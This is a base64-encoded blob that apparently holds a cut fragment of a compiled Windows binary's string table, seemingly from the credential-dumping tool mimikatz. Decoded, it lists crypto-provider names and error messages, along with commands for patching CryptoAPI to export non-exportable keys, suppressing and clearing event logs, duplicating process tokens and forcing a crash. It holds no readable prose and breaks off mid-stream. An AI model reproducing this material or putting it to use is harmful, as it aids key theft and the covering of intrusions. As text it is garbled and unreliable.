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AAAAAAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAAAAAABQAFIATwBWAF8ARgBPAFIAVABFAFoAWgBBAAAAAAAAAFAAUgBPAFYAXwBEAFMAUwAAAAAAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAFMASQBHAAAAAAAAAAAAUABSAE8AVgBfAFIAUwBBAF8ARgBVAEwATAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAKABQAHIAbwB0AG8AdAB5AHAAZQApAAAAAAAAAE0AUwBfAEUATgBIAF8AUgBTAEEAXwBBAEUAUwBfAFAAUgBPAFYAXwBYAFAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEQASAAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBEAEUARgBfAEQASABfAFMAQwBIAEEATgBOAEUATABfAFAAUgBPAFYAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARQBOAEgAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAaQBnAG4AYQB0AHUAcgBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAHQAcgBvAG4AZwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBTAFQAUgBPAE4ARwBfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBEAEUARgBfAFAAUgBPAFYAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBTAEUAUgBWAEkAQwBFAFMAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFUAUwBFAFIAUwAAAAAAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFMARQBSAFYASQBDAEUAAAAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARQBOAFQARQBSAFAAUgBJAFMARQAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMATgBHACAAcwBlAHIAdgBpAGMAZQAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAYwBuAGcAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAYwBhAHAAaQAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABrAGUAeQBzACAAYwBvAG4AdABhAGkAbgBlAHIAcwAAAAAAAAAAAGsAZQB5AHMAAAAAAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAAAAAAAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAAAAAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHMAdABvAHIAZQBzAAAAAAAAAHMAdABvAHIAZQBzAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAHMAAAAAAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAAAAAABjAHIAeQBwAHQAbwAAAAAAcgBzAGEAZQBuAGgAAAAAAENQRXhwb3J0S2V5AAAAAABuAGMAcgB5AHAAdAAAAAAATkNyeXB0T3BlblN0b3JhZ2VQcm92aWRlcgAAAAAAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAAAAAABOQ3J5cHRGcmVlQnVmZmVyAAAAAAAAAABOQ3J5cHRGcmVlT2JqZWN0AAAAAAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAACUAMgB1AC4AIAAlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAE4ARwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABCAEMAcgB5AHAAdABFAG4AdQBtAFIAZQBnAGkAcwB0AGUAcgBlAGQAUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABzAHkAcwB0AGUAbQBzAHQAbwByAGUAAABBAHMAawBpAG4AZwAgAGYAbwByACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwB0AG8AcgBlAHMAIAA7ACAAQwBlAHIAdABFAG4AdQBtAFMAeQBzAHQAZQBtAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABNAHkAAAAAAAAAAABzAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAAAAAAAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAGsAZQB5AFMAcABlAGMAIAA9AD0AIABDAEUAUgBUAF8ATgBDAFIAWQBQAFQAXwBLAEUAWQBfAFMAUABFAEMAIAB3AGkAdABoAG8AdQB0ACAAQwBOAEcAIABIAGEAbgBkAGwAZQAgAD8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAHQAeQBwAGUAAAAAAAAAAABtAGEAYwBoAGkAbgBlAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFMAbwBmAHQAdwBhAHIAZQAgAEsAZQB5ACAAUwB0AG8AcgBhAGcAZQAgAFAAcgBvAHYAaQBkAGUAcgAAAGMAbgBnAHAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAawBlAHkAcwAgADoACgAAAAAACgAlADIAdQAuACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAUAByAG8AdgBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAAAAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAcAB2AGsAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAE8ASwAAAAAASwBPAAAAAAAJAFAAcgBpAHYAYQB0AGUAIABlAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAAAAnACUAcwAnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAJQBzACAALQAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGcAZQBuAGUAcgBhAHQAZQBGAGkAbABlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABwAGYAeAAAAG0AaQBtAGkAawBhAHQAegAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAEEAVABfAEsARQBZAEUAWABDAEgAQQBOAEcARQAAAAAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAAAAAAAAAAABDAE4ARwAgAEsAZQB5AAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEMAbABlAGEAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGwAbwBnAAAAAABjAGwAZQBhAHIAAAAAAAAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAZAByAG8AcAAAAAAAAAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAZQB2AGUAbgB0AAAAAAAAAGwAbwBnAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAAQwBsAGUAYQByAEUAdgBlAG4AdABMAG8AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAE8AcABlAG4ARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAATABpAHMAdAAgAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAAAAAAAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABvAGIAagBlAGMAdAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAcgBlAGcAaQBzAHQAcgB5ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAFIAZQBnAAAAAAAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAdABoAHIAZQBhAGQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAFQAaAByAGUAYQBkAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAAAAAAAATABpAHMAdAAgAFMAUwBEAFQAAAAAAAAAcwBzAGQAdAAAAAAAAAAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAAAAAAAAbQBvAGQAdQBsAGUAcwAAAFMAZQB0ACAAYQBsAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AbgAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAABwAHIAbwBjAGUAcwBzAFAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAAAARAB1AHAAbABpAGMAYQB0AGUAIABwAHIAbwBjAGUAcwBzACAAdABvAGsAZQBuAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAAAAAABQAHIAbwB0AGUAYwB0ACAAcAByAG8AYwBlAHMAcwAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAQgBTAE8ARAAgACEAAAAAAGIAcwBvAGQAAAAAAAAAAABSAGUAbQBv